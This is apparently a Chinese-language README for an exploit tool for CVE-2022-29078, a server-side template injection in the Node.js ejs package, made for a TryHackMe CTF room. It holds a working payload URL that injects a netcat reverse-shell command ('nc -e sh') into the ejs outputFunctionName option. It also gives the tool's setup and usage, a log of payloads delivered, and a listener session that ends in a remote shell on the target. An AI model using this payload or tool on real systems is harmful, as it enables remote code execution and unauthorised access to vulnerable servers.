l0n3m4n/cve-2022-29078服务器端模板注入（SSTI）远程代码执行 - THM 挑战“whiterose”
Node.js 的 ejs（即嵌入式 JavaScript 模板）包 3.1.6 版本在 settings[view options][outputFunctionName] 中允许服务端模板注入。它被解析为内部选项，并用任意操作系统命令重写 outputFunctionName 选项（该命令在模板编译时执行）。
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
$ git clone https://github.com/l0n3m4n/CVE-2022-29078.git
$ python3 -m venv venv && source venv/bin/activate && cd CVE-2022-29078
$ pip install colorama==0.4.6 && pip install requests==2.26.0
$ python3 CVE-2022-29078.py -h
_________ ____________________.___ .__ .__ __
/ _____// _____/\__ ___/| | ____ ___ _________ | | ____ |__|/ |_
\_____ \ \_____ \ | | | |/ __ \| \/ /\____ \| | / _ \| \ __|
/ \/ \ | | | \ ___/ > < | |_> > |_( <_> ) || |
/_______ /_______ / |____| |___|\___ >__/\_ \| __/|____/\____/|__||__|
\/ \/ \/ \/|__|
Author: l0n3m4n | ID: CVE-2022-29078 | THM Challenges: Whiterose
usage: CVE-2022-29078.py [-h] -t TARGET -u USER -p PASSWORD
发送一个自定义 URL、用户名和密码的精心构造的 POST 请求。
options:
-h, --help 显示此帮助信息并退出
-t TARGET, --target TARGET
目标 URL（例如：http://admin.cyprusbank.thm/settings）
-u USER, --user USER 在请求中发送的用户名
-p PASSWORD, --password PASSWORD
在请求中发送的密码
示例：python3 exploit-ssti.py -t http://admin.cyprusbank.thm/settings -u user1 -p pa$$w0rd
_________ ____________________.___ .__ .__ __
/ _____// _____/\__ ___/| | ____ ___ _________ | | ____ |__|/ |_
\_____ \ \_____ \ | | | |/ __ \| \/ /\____ \| | / _ \| \ __|
/ \/ \ | | | \ ___/ > < | |_> > |_( <_> ) || |
/_______ /_______ / |____| |___|\___ >__/\_ \| __/|____/\____/|__||__|
\/ \/ \/ \/|__|
Author: l0n3m4n | ID: CVE-2022-29078 | THM Challenges: Whiterose
[!] 一旦收到来自服务器的 504 状态码，漏洞利用程序将自动退出。
$ cat exploit-ssti.log
2024-11-06 11:22:28,919 - INFO - Payload delivered successfully.
2024-11-06 11:32:47,806 - INFO - Payload delivered successfully.
2024-11-06 11:32:58,284 - INFO - Payload delivered successfully.
2024-11-06 11:37:13,616 - INFO - Payload delivered successfully.
2024-11-06 11:55:16,861 - WARNING - Connection failed with status code: 504
2024-11-06 11:59:27,820 - WARNING - Connection failed with status code: 504
$ sudo rlwrap -cAr nc -lvnp 443
[sudo] password for l0n3m4n:
listening on [any] 443 ...
connect to [10.2.4.61] from (UNKNOWN) [10.10.145.199] 38020
bash: cannot set terminal process group (1233): Inappropriate ioctl for device
bash: no job control in this shell
web@cyprusbank:~/app$